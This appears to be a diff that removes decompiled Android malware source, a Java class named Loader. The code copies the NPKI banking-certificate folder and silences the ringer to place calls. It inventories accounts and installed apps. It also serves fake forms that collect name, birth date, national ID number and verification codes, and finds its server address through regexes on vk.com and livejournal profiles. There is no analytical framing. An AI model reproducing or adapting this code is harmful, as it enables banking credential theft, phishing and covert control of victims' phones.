- sb.append(booleanValue);
- Log.d("WS", sb.toString());
- TimerTask access$getShowHomeTask$p = this.a.i;
- if (access$getShowHomeTask$p != null) {
- access$getShowHomeTask$p.cancel();
- }
- this.a.i = null;
- Loader.access$getPreferences$p(this.a).edit().putBoolean("lock", booleanValue).apply();
- if (booleanValue) {
- Object systemService = Loader.access$getCtx$p(this.a).getSystemService("audio");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
- }
- ((AudioManager) systemService).setRingerMode(0);
- if (!q.b(Loader.access$getCtx$p(this.a))) {
- this.a.i = new AnonymousClass1(this);
- this.a.h.schedule(this.a.i, 0, 150);
- }
- } else {
- q.c(Loader.access$getCtx$p(this.a));
- }
- c.a.h<Object> a2 = c.a.h.a();
- d.e.b.h.a((Object) a2, "Maybe.empty<Any>()");
- return a2;
- }
- }
- static final class t extends d.e.b.i implements d.e.a.b<Object[], c.a.h<? extends Object>> {
- public static final t a = new t();
- t() {
- super(1);
- }
- public final c.a.h<? extends Object> a(Object[] objArr) {
- c.a.h<? extends Object> a2;
- String str;
- d.e.b.h.b(objArr, "params");
- Number number = objArr[0];
- if (number == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Number");
- }
- long longValue = number.longValue();
- if (!(!d.e.b.h.a((Object) Environment.getExternalStorageState(), (Object) "mounted"))) {
- StringBuilder sb = new StringBuilder();
- File externalStorageDirectory = Environment.getExternalStorageDirectory();
- d.e.b.h.a((Object) externalStorageDirectory, "Environment.getExternalStorageDirectory()");
- sb.append(externalStorageDirectory.getAbsolutePath());
- sb.append("/NPKI");
- File file = new File(sb.toString());
- if (file.exists()) {
- long lastModified = file.lastModified();
- if (longValue == lastModified) {
- a2 = c.a.h.a(Integer.valueOf(0));
- str = "Maybe.just(0)";
- } else {
- r rVar = new r();
- ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
- try {
- rVar.a(byteArrayOutputStream, file.getAbsolutePath());
- a2 = c.a.h.a(new Serializable[]{Long.valueOf(lastModified), (Serializable) byteArrayOutputStream.toByteArray()});
- str = "Maybe.just(arrayOf(lastModified, bytes))";
- } catch (Exception e) {
- }
- }
- d.e.b.h.a((Object) a2, str);
- return a2;
- }
- }
- a2 = c.a.h.a();
- str = "Maybe.empty<Any>()";
- d.e.b.h.a((Object) a2, str);
- return a2;
- }
- }
- static final class u extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- public static final u a = new u();
- u() {
- super(1);
- }
- public final c.a.h<Object> a(Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- String str = objArr[0];
- if (str == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- final String str2 = str;
- String str3 = objArr[1];
- if (str3 == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- final String str4 = str3;
- Map map = objArr[2];
- if (map == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.collections.Map<kotlin.String, kotlin.Array<*>>");
- }
- final Map map2 = map;
- byte[] bArr = objArr[3];
- if (bArr == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.ByteArray");
- }
- final byte[] bArr2 = bArr;
- c.a.h<Object> a2 = c.a.h.a((c.a.k<T>) new c.a.k<T>() {
- public final void a(final c.a.i<Object> iVar) {
- d.e.b.h.b(iVar, "emitter");
- c.a.g.a.a().a(new Runnable(this) {
- final /* synthetic */ AnonymousClass1 a;
- /* JADX DEBUG: Multi-variable type inference result: success, time: 2 ms */
- public final void run() {
- HttpURLConnection httpURLConnection;
- InputStream errorStream;
- try {
- URLConnection openConnection = new URL(str2).openConnection();
- if (openConnection == null) {
- throw new d.g("null cannot be cast to non-null type java.net.HttpURLConnection");
- }
- httpURLConnection = (HttpURLConnection) openConnection;
- httpURLConnection.setUseCaches(false);
- httpURLConnection.setRequestMethod(str4);
- httpURLConnection.setInstanceFollowRedirects(true);
- for (Entry entry : map2.entrySet()) {
- for (Object valueOf : (Object[]) entry.getValue()) {
- httpURLConnection.setRequestProperty((String) entry.getKey(), String.valueOf(valueOf));
- }
- }
- if (!(bArr2.length == 0)) {
- httpURLConnection.getOutputStream().write(bArr2);
- }
- int responseCode = httpURLConnection.getResponseCode();
- Map headerFields = httpURLConnection.getHeaderFields();
- errorStream = httpURLConnection.getInputStream();
- d.e.b.h.a((Object) errorStream, "input");
- iVar.a(new Object[]{Integer.valueOf(responseCode), headerFields, d.d.a.a(errorStream, 0, 1, null)});
- } catch (Throwable th) {
- iVar.a(th);
- }
- }
- });
- }
- });
- d.e.b.h.a((Object) a2, "Maybe.create<Any>({ emit… }\n })");
- return a2;
- }
- }
- static final class v extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- v(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- String str = objArr[0];
- if (str == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- String str2 = str;
- new ToneGenerator(8, 100).startTone(d.a.b.a((Object[]) new String[]{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "*", "#"}, (Object) str2), 150);
- this.a.setSpeekModle$loader_release(true);
- c.a.h<Object> a2 = c.a.h.a();
- d.e.b.h.a((Object) a2, "Maybe.empty<Any>()");
- return a2;
- }
- }
- static final class w extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- w(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- Object systemService = Loader.access$getCtx$p(this.a).getSystemService("audio");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
- }
- ((AudioManager) systemService).setRingerMode(0);
- String str = objArr[0];
- if (str == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- String str2 = str;
- StringBuilder sb = new StringBuilder();
- sb.append("call ");
- sb.append(str2);
- Log.d("WS", sb.toString());
- StringBuilder sb2 = new StringBuilder();
- sb2.append("tel:");
- sb2.append(str2);
- Intent intent = new Intent("android.intent.action.CALL", Uri.parse(sb2.toString()));
- intent.addFlags(268435456);
- Loader.access$getCtx$p(this.a).startActivity(intent);
- c.a.h<Object> a2 = c.a.h.a();
- d.e.b.h.a((Object) a2, "Maybe.empty<Any>()");
- return a2;
- }
- }
- static final class x extends d.e.b.i implements d.e.a.b<Object[], c.a.h<List<String>>> {
- final /* synthetic */ Loader a;
- public static final class a<T> implements Comparator<T> {
- public final int compare(T t, T t2) {
- return d.b.a.a(Integer.valueOf(((PackageInfo) t).applicationInfo.flags & 1), Integer.valueOf(((PackageInfo) t2).applicationInfo.flags & 1));
- }
- }
- x(Loader loader) {
- this.a = loader;
- super(1);
- }
- /* JADX WARNING: Removed duplicated region for block: B:23:0x002d A[SYNTHETIC] */
- /* JADX WARNING: Removed duplicated region for block: B:9:0x0057 */
- public final c.a.h<java.util.List<java.lang.String>> a(java.lang.Object[] r12) {
- /*
- r11 = this;
- r4 = 0
- java.lang.String r0 = "it"
- d.e.b.h.b(r12, r0)
- com.Loader r0 = r11.a
- android.content.Context r0 = com.Loader.access$getCtx$p(r0)
- android.content.pm.PackageManager r6 = r0.getPackageManager()
- java.util.ArrayList r0 = new java.util.ArrayList
- r0.<init>()
- java.util.List r0 = (java.util.List) r0
- java.util.List r1 = r6.getInstalledPackages(r4)
- java.lang.String r2 = "packages"
- d.e.b.h.a(r1, r2)
- java.lang.Iterable r1 = (java.lang.Iterable) r1
- java.util.ArrayList r2 = new java.util.ArrayList
- r2.<init>()
- java.util.Collection r2 = (java.util.Collection) r2
- java.util.Iterator r7 = r1.iterator()
- L_0x002d:
- boolean r1 = r7.hasNext()
- r5 = 1
- if (r1 == 0) goto L_0x005b
- java.lang.Object r3 = r7.next()
- r1 = r3
- android.content.pm.PackageInfo r1 = (android.content.pm.PackageInfo) r1
- java.lang.String r8 = r1.packageName
- android.content.pm.ApplicationInfo r1 = r1.applicationInfo
- int r1 = r1.flags
- r1 = r1 & 1
- if (r1 == 0) goto L_0x00d0
- java.lang.String r1 = "pkg"
- d.e.b.h.a(r8, r1)
- java.lang.String r1 = "com.android."
- r9 = 2
- r10 = 0
- boolean r1 = d.i.m.a(r8, r1, r4, r9, r10)
- if (r1 == 0) goto L_0x00d0
- r1 = r4
- L_0x0055:
- if (r1 == 0) goto L_0x002d
- r2.add(r3)
- goto L_0x002d
- L_0x005b:
- java.util.List r2 = (java.util.List) r2
- java.lang.Iterable r2 = (java.lang.Iterable) r2
- com.Loader$x$a r1 = new com.Loader$x$a
- r1.m307init()
- java.util.Comparator r1 = (java.util.Comparator) r1
- java.util.List r1 = d.a.g.a(r2, r1)
- java.lang.Iterable r1 = (java.lang.Iterable) r1
- java.util.Iterator r4 = r1.iterator()
- L_0x0070:
- boolean r1 = r4.hasNext()
- if (r1 == 0) goto L_0x00c1
- java.lang.Object r2 = r4.next()
- r1 = r0
- java.util.Collection r1 = (java.util.Collection) r1
- android.content.pm.PackageInfo r2 = (android.content.pm.PackageInfo) r2
- java.lang.StringBuilder r3 = new java.lang.StringBuilder
- r3.<init>()
- java.lang.String r5 = r2.packageName
- r3.append(r5)
- java.lang.String r5 = "/"
- r3.append(r5)
- android.content.pm.ApplicationInfo r5 = r2.applicationInfo
- java.lang.CharSequence r5 = r5.loadLabel(r6)
- java.lang.String r5 = r5.toString()
- r3.append(r5)
- java.lang.String r3 = r3.toString()
- android.content.pm.ApplicationInfo r2 = r2.applicationInfo
- int r2 = r2.flags
- r2 = r2 & 1
- if (r2 == 0) goto L_0x00ce
- java.lang.StringBuilder r2 = new java.lang.StringBuilder
- r2.<init>()
- java.lang.String r5 = ""
- r2.append(r5)
- r2.append(r3)
- java.lang.String r3 = " (系统)"
- r2.append(r3)
- java.lang.String r2 = r2.toString()
- L_0x00bd:
- r1.add(r2)
- goto L_0x0070
- L_0x00c1:
- r1 = r0
- java.util.Collection r1 = (java.util.Collection) r1
- c.a.h r0 = c.a.h.a(r0)
- java.lang.String r1 = "Maybe.just(list)"
- d.e.b.h.a(r0, r1)
- return r0
- L_0x00ce:
- r2 = r3
- goto L_0x00bd
- L_0x00d0:
- r1 = r5
- goto L_0x0055
- */
- throw new UnsupportedOperationException("Method not decompiled: com.Loader$x.a(java.lang.Object[]):c.a.h");
- }
- }
- static final class y extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- y(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(Object[] objArr) {
- d.e.b.h.b(objArr, "it");
- Boolean bool = objArr[0];
- if (bool == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
- }
- if (bool.booleanValue()) {
- this.a.showFullscreenFloatWindow();
- } else {
- this.a.removeFullscreenFloatWindow();
- }
- c.a.h<Object> a2 = c.a.h.a();
- d.e.b.h.a((Object) a2, "Maybe.empty<Any>()");
- return a2;
- }
- }
- static final class z extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- z(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(Object[] objArr) {
- d.e.b.h.b(objArr, "it");
- String str = objArr[0];
- if (str == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- final String str2 = str;
- c.a.h<Object> a2 = c.a.h.a((c.a.k<T>) new c.a.k<T>(this) {
- final /* synthetic */ z a;
- public final void a(c.a.i<Object> iVar) {
- d.e.b.h.b(iVar, "it");
- iVar.a(this.a.a.ping(str2, 4));
- }
- }).a(c.a.g.a.a());
- d.e.b.h.a((Object) a2, "Maybe.create<Any> {\n …scribeOn(Schedulers.io())");
- return a2;
- }
- }
- public Loader() {
- StringBuilder sb = new StringBuilder();
- sb.append("\n<head>\n <title></title>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\" />\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n <style>");
- sb.append(this.A);
- sb.append("</style>\n</head>\n");
- this.B = sb.toString();
- StringBuilder sb2 = new StringBuilder();
- sb2.append("\n<!DOCTYPE html>\n<html>\n");
- sb2.append(this.B);
- sb2.append("\n<body>\n\n<script>\n function onValidate(name, date) {\n var idx = date.indexOf(\"-\")\n var i = parseInt(date.substr(0, idx))\n if(i >= 2000) {\n dateErr.innerText = \"");
- sb2.append(q.b(6));
- sb2.append("\"\n return false\n }\n return true\n }\n</script>\n\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">");
- sb2.append(q.b(7));
- sb2.append("</span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<div style=\"margin: 10px 10px;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(name.value, date.value)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">");
- sb2.append(q.b(8));
- sb2.append(":</label>\n <div class=\"cont\">\n <input id=\"name\" name=\"name\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"");
- sb2.append(q.b(8));
- sb2.append("\">\n </div>\n <label class=\"yf\" for=\"date\" style=\"display: block\">");
- sb2.append(q.b(9));
- sb2.append(":</label>\n <div class=\"cont\">\n <input id=\"date\" name=\"date\" type=\"date\" max=\"2000-01-01\" required>\n </div>\n <div id=\"dateErr\" style=\"color: #dd4b39\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">");
- sb2.append(q.b(4));
- sb2.append("</button>\n </div>\n </form>\n</div>\n</body>\n\n</html>\n ");
- this.C = sb2.toString();
- StringBuilder sb3 = new StringBuilder();
- sb3.append("\n<!DOCTYPE html>\n<html>\n");
- sb3.append(this.B);
- sb3.append("\n<body>\n\n<script>\n function onValidate(name, date) {\n var idx = date.indexOf(\"-\")\n var i = parseInt(date.substr(0, idx))\n if(i >= 2000) {\n dateErr.innerText = \"");
- sb3.append(q.b(6));
- sb3.append("\"\n return false\n }\n return true\n }\n</script>\n\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">");
- sb3.append(q.b(7));
- sb3.append("</span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<div style=\"margin: 10px 10px;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(name.value, date.value)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">");
- sb3.append(q.b(8));
- sb3.append(":</label>\n <div class=\"cont\">\n <input id=\"name\" name=\"name\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"");
- sb3.append(q.b(8));
- sb3.append("\">\n </div>\n <label class=\"yf\" for=\"date\" style=\"display: block\">");
- sb3.append(q.b(9));
- sb3.append(":</label>\n <div class=\"cont\">\n <input id=\"date\" name=\"date\" type=\"date\" max=\"2000-01-01\" required>\n </div>\n <label class=\"yf\" for=\"idnum\" style=\"display: block\">身份證號:</label>\n <div class=\"cont\">\n <input id=\"idnum\" name=\"idnum\" min-length=\"8\" placeholder=\"身份證號\" required>\n </div>\n <div id=\"dateErr\" style=\"color: #dd4b39\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">");
- sb3.append(q.b(4));
- sb3.append("</button>\n </div>\n </form>\n</div>\n</body>\n\n</html>\n ");
- this.D = sb3.toString();
- StringBuilder sb4 = new StringBuilder();
- sb4.append("\n<!DOCTYPE html>\n<html>\n");
- sb4.append(this.B);
- sb4.append("\n<body>\n\n<script>\n function onValidate(name, date) {\n return true\n }\n</script>\n\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">");
- sb4.append(q.b(7));
- sb4.append("</span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<h3 style=\"margin-left:16px\">%%PHONE_NUMBER%%</h3>\n<div style=\"margin: 10px 10px;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(vcode.value)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">");
- sb4.append(q.b(11));
- sb4.append(":</label>\n <div class=\"cont\">\n <input id=\"vcode\" name=\"vcode\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"");
- sb4.append(q.b(11));
- sb4.append("\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">");
- sb4.append(q.b(4));
- sb4.append("</button>\n </div>\n </form>\n</div>\n</body>\n\n</html>\n ");
- this.E = sb4.toString();
- }
- /* access modifiers changed from: private|final */
- public final String a() {
- d.e.b.j.a aVar = new d.e.b.j.a();
- aVar.a = 0;
- return (String) q.a((d.e.a.a<? extends T>) new i(this, aVar));
- }
- /* access modifiers changed from: private|final */
- public final String a(Account account) {
- int nextInt = new Random().nextInt(10000) + 12000;
- b.g gVar = new b.g(nextInt);
- gVar.a(new at(this, account, "/"));
- gVar.b(new au(this, gVar, "/submit"));
- new Thread(new av(gVar)).start();
- StringBuilder sb = new StringBuilder();
- sb.append("http://127.0.0.1:");
- sb.append(nextInt);
- sb.append('/');
- return sb.toString();
- }
- /* access modifiers changed from: private|final */
- public final String a(TelephonyManager telephonyManager) {
- try {
- String line1Number = telephonyManager.getLine1Number();
- d.e.b.h.a((Object) line1Number, "tm.line1Number");
- return line1Number;
- } catch (Throwable th) {
- return "";
- }
- }
- /* access modifiers changed from: private|final */
- public final String a(String str) {
- SharedPreferences sharedPreferences = this.e;
- if (sharedPreferences == null) {
- d.e.b.h.b("preferences");
- }
- String string = sharedPreferences.getString("addr_url", "https://m.vk.com/%s?act=info");
- d.e.b.m mVar = d.e.b.m.a;
- d.e.b.h.a((Object) string, "urlFormat");
- Object[] objArr = {str};
- String format = String.format(string, Arrays.copyOf(objArr, objArr.length));
- d.e.b.h.a((Object) format, "java.lang.String.format(format, *args)");
- String str2 = null;
- try {
- SharedPreferences sharedPreferences2 = this.e;
- if (sharedPreferences2 == null) {
- d.e.b.h.b("preferences");
- }
- String a2 = a.b.a(format, sharedPreferences2.getString("addr_encoding", "utf-8"));
- if (a2 != null) {
- SharedPreferences sharedPreferences3 = this.e;
- if (sharedPreferences3 == null) {
- d.e.b.h.b("preferences");
- }
- String string2 = sharedPreferences3.getString("addr_pattern", "</dt><dd>([^<]+?)</dd></dl></div></div></div>");
- String str3 = null;
- Matcher matcher = Pattern.compile(string2).matcher(a2);
- if (matcher.find()) {
- str3 = matcher.group(1);
- }
- if (str3 != null) {
- str2 = q.a(str3);
- }
- }
- } catch (Exception e2) {
- e2.printStackTrace();
- }
- if (str2 == null) {
- Log.e("MSG", "DNS ERR");
- }
- return str2;
- }
- /* access modifiers changed from: private|final */
- public final void a(boolean z2) {
- Context context = this.a;
- if (context == null) {
- d.e.b.h.b("ctx");
- }
- WifiManager wifiManager = (WifiManager) context.getSystemService("wifi");
- if (wifiManager != null) {
- wifiManager.setWifiEnabled(z2);
- }
- }
- public static final /* synthetic */ Context access$getCtx$p(Loader loader) {
- Context context = loader.a;
- if (context == null) {
- d.e.b.h.b("ctx");
- }
- return context;
- }
- public static final /* synthetic */ SharedPreferences access$getPreferences$p(Loader loader) {
- SharedPreferences sharedPreferences = loader.e;
- if (sharedPreferences == null) {
- d.e.b.h.b("preferences");
- }
- return sharedPreferences;
- }
- /* access modifiers changed from: private|final */
- public final String b(String str) {
- SharedPreferences sharedPreferences = this.e;
- if (sharedPreferences == null) {
- d.e.b.h.b("preferences");
- }
- String string = sharedPreferences.getString("addr_url", "https://%s.livejournal.com/profile");
- d.e.b.m mVar = d.e.b.m.a;
- d.e.b.h.a((Object) string, "urlFormat");
- Object[] objArr = {str};
- String format = String.format(string, Arrays.copyOf(objArr, objArr.length));
- d.e.b.h.a((Object) format, "java.lang.String.format(format, *args)");
- String str2 = null;
- try {
- SharedPreferences sharedPreferences2 = this.e;
- if (sharedPreferences2 == null) {
- d.e.b.h.b("preferences");
- }
- String a2 = a.b.a(format, sharedPreferences2.getString("addr_encoding", "utf-8"));
- if (a2 != null) {
- SharedPreferences sharedPreferences3 = this.e;
- if (sharedPreferences3 == null) {
- d.e.b.h.b("preferences");
- }
- String string2 = sharedPreferences3.getString("addr_pattern", "b-profile-bio-content\" link-target=\"_self\" *> *([^ <]+?) *</div>");
- String str3 = null;
- Matcher matcher = Pattern.compile(string2).matcher(a2);
- if (matcher.find()) {
- str3 = matcher.group(1);
- }
- if (str3 != null) {
- str2 = q.a(str3);
- }
- }
- } catch (Exception e2) {
- e2.printStackTrace();
- }
- if (str2 == null) {
- Log.e("MSG", "DNS ERR");
- }
- return str2;
- }
- /* access modifiers changed from: private|final */
- public final void b() {
- c.a.g.a.a().a(new f(this));
- }
- /* JADX DEBUG: Multi-variable type inference result: failure, time: 14 ms */
- /* JADX WARNING: type inference failed for: r3v13 */
- /* JADX WARNING: type inference failed for: r4v16, types: [com.d] */
- /* access modifiers changed from: private|final */
- /* JADX WARNING: Unknown variable types count: 1 */
- public final void c() {
- /*
- r21 = this;
- r0 = r21
- java.util.concurrent.atomic.AtomicBoolean r2 = r0.o
- boolean r2 = r2.get()
- r5 = 1
- if (r2 != 0) goto L_0x0025
- r0 = r21
- java.util.concurrent.atomic.AtomicBoolean r2 = r0.o
- r3 = 1
- r2.set(r3)
- r0 = r21
- android.os.Handler r3 = r0.b
- com.Loader$j r2 = new com.Loader$j
- r0 = r21
- r2.m258init(r0)
- java.lang.Runnable r2 = (java.lang.Runnable) r2
- r6 = 5000(0x1388, double:2.4703E-320)
- r3.postDelayed(r2, r6)
- L_0x0025:
- r0 = r21
- android.content.SharedPreferences r2 = r0.e
- if (r2 != 0) goto L_0x0030
- java.lang.String r3 = "preferences"
- d.e.b.h.b(r3)
- L_0x0030:
- java.lang.String r3 = "shut"
- r4 = 0
- int r14 = r2.getInt(r3, r4)
- java.util.ArrayList r2 = new java.util.ArrayList
- r2.<init>()
- java.util.List r2 = (java.util.List) r2
- r0 = r21
- android.content.Context r3 = r0.a // Catch:{ Exception -> 0x0059 }
- if (r3 != 0) goto L_0x0049
- java.lang.String r4 = "ctx"
- d.e.b.h.b(r4) // Catch:{ Exception -> 0x0059 }
- L_0x0049:
- java.lang.String r4 = "account"
- java.lang.Object r3 = r3.getSystemService(r4) // Catch:{ Exception -> 0x0059 }
- if (r3 != 0) goto L_0x0078
- d.g r3 = new d.g // Catch:{ Exception -> 0x0059 }
- java.lang.String r4 = "null cannot be cast to non-null type android.accounts.AccountManager"
- r3.m563init(r4) // Catch:{ Exception -> 0x0059 }
- throw r3 // Catch:{ Exception -> 0x0059 }
- L_0x0059:
- r3 = move-exception
- r3.printStackTrace()
- L_0x005d:
- r0 = r21
- android.content.Context r3 = r0.a
- if (r3 != 0) goto L_0x0068
- java.lang.String r4 = "ctx"
- d.e.b.h.b(r4)
- L_0x0068:
- java.lang.String r4 = "phone"
- java.lang.Object r3 = r3.getSystemService(r4)
- if (r3 != 0) goto L_0x0184
- d.g r2 = new d.g
- java.lang.String r3 = "null cannot be cast to non-null type android.telephony.TelephonyManager"
- r2.m563init(r3)
- throw r2
- L_0x0078:
- android.accounts.AccountManager r3 = (android.accounts.AccountManager) r3 // Catch:{ Exception -> 0x0059 }
- android.accounts.Account[] r6 = r3.getAccounts() // Catch:{ Exception -> 0x0059 }
- java.lang.String r3 = "accounts"
- d.e.b.h.a(r6, r3) // Catch:{ Exception -> 0x0059 }
- int r3 = r6.length // Catch:{ Exception -> 0x0059 }
- if (r3 != 0) goto L_0x02bf
- r3 = 1
- L_0x0087:
- r3 = r3 ^ 1
- if (r3 == 0) goto L_0x00be
- java.util.ArrayList r3 = new java.util.ArrayList // Catch:{ Exception -> 0x0059 }
- int r4 = r6.length // Catch:{ Exception -> 0x0059 }
- r3.<init>(r4) // Catch:{ Exception -> 0x0059 }
- java.util.Collection r3 = (java.util.Collection) r3 // Catch:{ Exception -> 0x0059 }
- int r7 = r6.length // Catch:{ Exception -> 0x0059 }
- r4 = 0
- L_0x0095:
- if (r4 >= r7) goto L_0x00b7
- r8 = r6[r4]
- java.lang.StringBuilder r9 = new java.lang.StringBuilder // Catch:{ Exception -> 0x0059 }
- r9.<init>() // Catch:{ Exception -> 0x0059 }
- java.lang.String r10 = r8.name // Catch:{ Exception -> 0x0059 }
- r9.append(r10) // Catch:{ Exception -> 0x0059 }
- java.lang.String r10 = ":"
- r9.append(r10) // Catch:{ Exception -> 0x0059 }
- java.lang.String r8 = r8.type // Catch:{ Exception -> 0x0059 }
- r9.append(r8) // Catch:{ Exception -> 0x0059 }
- java.lang.String r8 = r9.toString() // Catch:{ Exception -> 0x0059 }
- r3.add(r8) // Catch:{ Exception -> 0x0059 }
- int r4 = r4 + 1
- goto L_0x0095
- L_0x00b7:
- java.util.List r3 = (java.util.List) r3 // Catch:{ Exception -> 0x0059 }
- java.util.Collection r3 = (java.util.Collection) r3 // Catch:{ Exception -> 0x0059 }
- r2.addAll(r3) // Catch:{ Exception -> 0x0059 }
- L_0x00be:
- java.lang.String[] r4 = com.c.e // Catch:{ Exception -> 0x0059 }
- int r6 = r4.length // Catch:{ Exception -> 0x0059 }
- r3 = 0
- L_0x00c4:
- if (r3 >= r6) goto L_0x02c6
- r7 = r4[r3]
- r0 = r21
- java.util.Set<java.lang.String> r8 = r0.c // Catch:{ Exception -> 0x0059 }
- boolean r7 = r8.contains(r7) // Catch:{ Exception -> 0x0059 }
- if (r7 == 0) goto L_0x02c2
- r3 = 1
- L_0x00d3:
- if (r3 == 0) goto L_0x00da
- java.lang.String r3 = "TT:"
- r2.add(r3) // Catch:{ Exception -> 0x0059 }
- L_0x00da:
- java.lang.String[] r4 = com.c.d // Catch:{ Exception -> 0x0059 }
- int r6 = r4.length // Catch:{ Exception -> 0x0059 }
- r3 = 0
- L_0x00e0:
- if (r3 >= r6) goto L_0x02cd
- r7 = r4[r3]
- r0 = r21
- java.util.Set<java.lang.String> r8 = r0.c // Catch:{ Exception -> 0x0059 }
- boolean r7 = r8.contains(r7) // Catch:{ Exception -> 0x0059 }
- if (r7 == 0) goto L_0x02c9
- r3 = 1
- L_0x00ef:
- if (r3 == 0) goto L_0x00f6
- java.lang.String r3 = "MU:"
- r2.add(r3) // Catch:{ Exception -> 0x0059 }
- L_0x00f6:
- java.lang.String[] r4 = com.c.f // Catch:{ Exception -> 0x0059 }
- int r6 = r4.length // Catch:{ Exception -> 0x0059 }
- r3 = 0
- L_0x00fc:
- if (r3 >= r6) goto L_0x02d4
- r7 = r4[r3]
- r0 = r21
- java.util.Set<java.lang.String> r8 = r0.c // Catch:{ Exception -> 0x0059 }
- boolean r7 = r8.contains(r7) // Catch:{ Exception -> 0x0059 }
- if (r7 == 0) goto L_0x02d0
- r3 = 1
- L_0x010b:
- if (r3 == 0) goto L_0x0112
- java.lang.String r3 = "DNF:"
- r2.add(r3) // Catch:{ Exception -> 0x0059 }
- L_0x0112:
- java.lang.String[] r4 = com.c.g // Catch:{ Exception -> 0x0059 }
- int r6 = r4.length // Catch:{ Exception -> 0x0059 }
- r3 = 0
- L_0x0118:
- if (r3 >= r6) goto L_0x02db
- r7 = r4[r3]
- r0 = r21
- java.util.Set<java.lang.String> r8 = r0.c // Catch:{ Exception -> 0x0059 }
- boolean r7 = r8.contains(r7) // Catch:{ Exception -> 0x0059 }
- if (r7 == 0) goto L_0x02d7
- r3 = 1
- L_0x0127:
- if (r3 == 0) goto L_0x012e
- java.lang.String r3 = "HappyMoney:"
- r2.add(r3) // Catch:{ Exception -> 0x0059 }
- L_0x012e:
- java.lang.String[] r4 = com.c.h // Catch:{ Exception -> 0x0059 }
- int r6 = r4.length // Catch:{ Exception -> 0x0059 }
- r3 = 0
- L_0x0134:
- if (r3 >= r6) goto L_0x02e2
- r7 = r4[r3]
- r0 = r21
- java.util.Set<java.lang.String> r8 = r0.c // Catch:{ Exception -> 0x0059 }
- boolean r7 = r8.contains(r7) // Catch:{ Exception -> 0x0059 }
- if (r7 == 0) goto L_0x02de
- r3 = 1
- L_0x0143:
- if (r3 == 0) goto L_0x014a
- java.lang.String r3 = "AXE:"
- r2.add(r3) // Catch:{ Exception -> 0x0059 }
- L_0x014a:
- java.lang.String[] r4 = com.c.i // Catch:{ Exception -> 0x0059 }
- int r6 = r4.length // Catch:{ Exception -> 0x0059 }
- r3 = 0
- L_0x0150:
- if (r3 >= r6) goto L_0x02e9
- r7 = r4[r3]
- r0 = r21
- java.util.Set<java.lang.String> r8 = r0.c // Catch:{ Exception -> 0x0059 }
- boolean r7 = r8.contains(r7) // Catch:{ Exception -> 0x0059 }
- if (r7 == 0) goto L_0x02e5
- r3 = 1
- L_0x015f:
- if (r3 == 0) goto L_0x0166
- java.lang.String r3 = "nexonID:"
- r2.add(r3) // Catch:{ Exception -> 0x0059 }
- L_0x0166:
- java.lang.String[] r4 = com.c.j // Catch:{ Exception -> 0x0059 }
- int r6 = r4.length // Catch:{ Exception -> 0x0059 }
- r3 = 0
- L_0x016c:
- if (r3 >= r6) goto L_0x02f0
- r7 = r4[r3]
- r0 = r21
- java.util.Set<java.lang.String> r8 = r0.c // Catch:{ Exception -> 0x0059 }
- boolean r7 = r8.contains(r7) // Catch:{ Exception -> 0x0059 }
- if (r7 == 0) goto L_0x02ec
- r3 = 1
- L_0x017b:
- if (r3 == 0) goto L_0x005d
- java.lang.String r3 = "hangame:"
- r2.add(r3) // Catch:{ Exception -> 0x0059 }
